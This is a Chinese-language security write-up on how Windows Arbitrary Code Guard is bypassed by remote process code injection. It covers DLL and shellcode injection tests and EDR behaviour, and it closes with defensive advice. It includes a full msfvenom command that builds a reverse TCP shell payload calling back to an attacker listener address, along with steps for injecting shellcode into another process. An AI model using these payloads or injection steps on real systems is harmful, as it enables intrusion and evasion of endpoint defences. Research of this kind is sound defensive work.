任意代码保护 (ACG)
字数 2141 2025-08-29 22:41:02

Windows Arbitrary Code Guard (ACG) 绕过技术分析

1. ACG 概述

Arbitrary Code Guard (ACG) 是 Windows 系统的一种安全缓解策略,旨在防止恶意代码在进程内存中创建或修改可执行代码页。

1.1 ACG 主要限制

  • 代码页不可变性

    • 现有进程代码页无法变为可写
    • 禁止使用 VirtualProtect 将图像代码页改为 PAGE_EXECUTE_READWRITE
  • 新代码页限制

    • 无法创建新的未签名代码页
    • 禁止使用 VirtualAlloc 创建 PAGE_EXECUTE_READWRITE 代码页

1.2 ACG 对抗 EDR 的能力

ACG 能有效对抗 EDR (Endpoint Detection and Response) 的检测机制:

  • EDR 通常通过 API hook 进行检测
  • EDR 会注入 DLL 到监控进程安装 hook
  • ACG 阻止了这些注入行为

2. ACG 状态检查

使用 Process Hacker 查看 Mitigation Policies:

  • ProcessDynamicCodePolicy 标志表示 ACG 是否启用
  • 1 表示启用,0 表示未启用

3. 传统注入方法测试

3.1 DLL 注入测试

测试结果

  • 开启 ACG 后直接 DLL 注入会导致:
    • 线程退出
    • 进程关闭
    • 无法成功注入上线

3.2 线程创建注入测试

测试方法

  1. 获取目标进程 PID
    • 手动获取
    • 通过镜像列表查找
  2. 执行 shellcode 注入

测试结果

  • 请求 C2 (如 Cobalt Strike) 后程序直接关闭
  • 无法成功上线

3.3 使用 msfvenom 测试

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.2.12.18 LPORT=684 -f c

测试结果

  • 主机成功监听到 shell
  • 镜像列表查找 PID 方法也可行

4. 代码注入绕过 ACG 的技术

4.1 绕过原理

尽管 ACG 启用,远程进程仍可对目标进程执行以下操作:

  1. 使用 OpenProcess 获取目标进程句柄
  2. 使用 VirtualAllocEx 分配内存 (PROCESS_ALL_ACCESS 权限)
  3. 内存属性可设为 PAGE_EXECUTE_READWRITE
  4. 使用 WriteProcessMemory 写入 Shellcode
  5. 执行 Shellcode

4.2 与传统 DLL 注入的区别

特性 代码注入 DLL 注入
依赖 不依赖目标进程生成代码 需要目标进程加载模块
内存分配 通过 VirtualAllocEx 通过 VirtualAlloc
模块加载 不需要 需要 LoadLibrary
ACG 影响 可绕过 被阻止

4.3 关键发现

  • ACG 不阻止远程进程通过 VirtualAllocExWriteProcessMemory 操作目标进程内存
  • ACG 主要阻止目标进程自身分配和执行 RWX 内存
  • 代码注入不涉及模块加载,因此绕过 ACG 限制

5. 父子进程关系观察

测试现象

  • 手动关闭程序后,nc shell 仍保持连接
  • 原因是启动程序的父进程 (cmd) 未关闭
  • 关闭父进程后连接断开

与 Cobalt Strike 的区别

  • CS 连接行为与此不同

6. 第三方 DLL 注入现象

6.1 SangforTcpX64.dll 自动注入

观察结果

  • 当注入 DLL 进行 TCP 请求时,SangforTcpX64.dll 自动注入
  • 仅注入 DLL 不进行 TCP 连接时,不会注入
  • 开启 ACG 后 Sangfor DLL 仍能加载,可能通过内核级注入

6.2 Code Integrity Guard (CIG) 测试

CIG 是更严格的用户态保护机制:

  • 强制代码完整性验证
  • 仅允许微软签名 DLL

测试结果

  1. 编写网络请求程序并开启 CIG:
    • Sangfor DLL 无法加载
    • 成功阻止非微软签名 DLL
  2. 注入微软签名 DLL:
    • 可以加载
    • 但网络请求仍失败

7. 总结与防御建议

7.1 ACG 的有效性总结

  • 有效防护

    • 阻止 DLL 注入
    • 防止目标进程自身分配 RWX 内存
    • 阻止 LoadLibrary 加载外部模块
  • 绕过可能

    • 不防御远程进程通过 VirtualAllocEx 和 WriteProcessMemory 的直接内存操作
    • 内核级注入仍可能成功

7.2 防御建议

  1. 结合使用 CIG 和 ACG:

    • CIG 确保只有签名代码可执行
    • ACG 防止内存修改
  2. 监控关键 API 调用:

    • VirtualAllocEx
    • WriteProcessMemory
    • CreateRemoteThread
  3. 限制进程权限:

    • 减少 PROCESS_ALL_ACCESS 权限分配
  4. 启用内核保护:

    • 防止内核级注入绕过用户态保护
  5. 行为监控:

    • 检测异常的进程间内存操作
    • 监控非预期的新线程创建

通过综合运用这些防护措施,可以显著提高系统对抗代码注入攻击的能力。

Windows Arbitrary Code Guard (ACG) 绕过技术分析 1. ACG 概述 Arbitrary Code Guard (ACG) 是 Windows 系统的一种安全缓解策略,旨在防止恶意代码在进程内存中创建或修改可执行代码页。 1.1 ACG 主要限制 代码页不可变性 : 现有进程代码页无法变为可写 禁止使用 VirtualProtect 将图像代码页改为 PAGE_EXECUTE_READWRITE 新代码页限制 : 无法创建新的未签名代码页 禁止使用 VirtualAlloc 创建 PAGE_EXECUTE_READWRITE 代码页 1.2 ACG 对抗 EDR 的能力 ACG 能有效对抗 EDR (Endpoint Detection and Response) 的检测机制: EDR 通常通过 API hook 进行检测 EDR 会注入 DLL 到监控进程安装 hook ACG 阻止了这些注入行为 2. ACG 状态检查 使用 Process Hacker 查看 Mitigation Policies: ProcessDynamicCodePolicy 标志表示 ACG 是否启用 1 表示启用,0 表示未启用 3. 传统注入方法测试 3.1 DLL 注入测试 测试结果 : 开启 ACG 后直接 DLL 注入会导致: 线程退出 进程关闭 无法成功注入上线 3.2 线程创建注入测试 测试方法 : 获取目标进程 PID 手动获取 通过镜像列表查找 执行 shellcode 注入 测试结果 : 请求 C2 (如 Cobalt Strike) 后程序直接关闭 无法成功上线 3.3 使用 msfvenom 测试 测试结果 : 主机成功监听到 shell 镜像列表查找 PID 方法也可行 4. 代码注入绕过 ACG 的技术 4.1 绕过原理 尽管 ACG 启用,远程进程仍可对目标进程执行以下操作: 使用 OpenProcess 获取目标进程句柄 使用 VirtualAllocEx 分配内存 ( PROCESS_ALL_ACCESS 权限) 内存属性可设为 PAGE_EXECUTE_READWRITE 使用 WriteProcessMemory 写入 Shellcode 执行 Shellcode 4.2 与传统 DLL 注入的区别 | 特性 | 代码注入 | DLL 注入 | |------|---------|---------| | 依赖 | 不依赖目标进程生成代码 | 需要目标进程加载模块 | | 内存分配 | 通过 VirtualAllocEx | 通过 VirtualAlloc | | 模块加载 | 不需要 | 需要 LoadLibrary | | ACG 影响 | 可绕过 | 被阻止 | 4.3 关键发现 ACG 不阻止远程进程通过 VirtualAllocEx 和 WriteProcessMemory 操作目标进程内存 ACG 主要阻止目标进程自身分配和执行 RWX 内存 代码注入不涉及模块加载,因此绕过 ACG 限制 5. 父子进程关系观察 测试现象 : 手动关闭程序后,nc shell 仍保持连接 原因是启动程序的父进程 (cmd) 未关闭 关闭父进程后连接断开 与 Cobalt Strike 的区别 : CS 连接行为与此不同 6. 第三方 DLL 注入现象 6.1 SangforTcpX64.dll 自动注入 观察结果 : 当注入 DLL 进行 TCP 请求时,SangforTcpX64.dll 自动注入 仅注入 DLL 不进行 TCP 连接时,不会注入 开启 ACG 后 Sangfor DLL 仍能加载,可能通过内核级注入 6.2 Code Integrity Guard (CIG) 测试 CIG 是更严格的用户态保护机制: 强制代码完整性验证 仅允许微软签名 DLL 测试结果 : 编写网络请求程序并开启 CIG: Sangfor DLL 无法加载 成功阻止非微软签名 DLL 注入微软签名 DLL: 可以加载 但网络请求仍失败 7. 总结与防御建议 7.1 ACG 的有效性总结 有效防护 : 阻止 DLL 注入 防止目标进程自身分配 RWX 内存 阻止 LoadLibrary 加载外部模块 绕过可能 : 不防御远程进程通过 VirtualAllocEx 和 WriteProcessMemory 的直接内存操作 内核级注入仍可能成功 7.2 防御建议 结合使用 CIG 和 ACG: CIG 确保只有签名代码可执行 ACG 防止内存修改 监控关键 API 调用: VirtualAllocEx WriteProcessMemory CreateRemoteThread 限制进程权限: 减少 PROCESS_ ALL_ ACCESS 权限分配 启用内核保护: 防止内核级注入绕过用户态保护 行为监控: 检测异常的进程间内存操作 监控非预期的新线程创建 通过综合运用这些防护措施,可以显著提高系统对抗代码注入攻击的能力。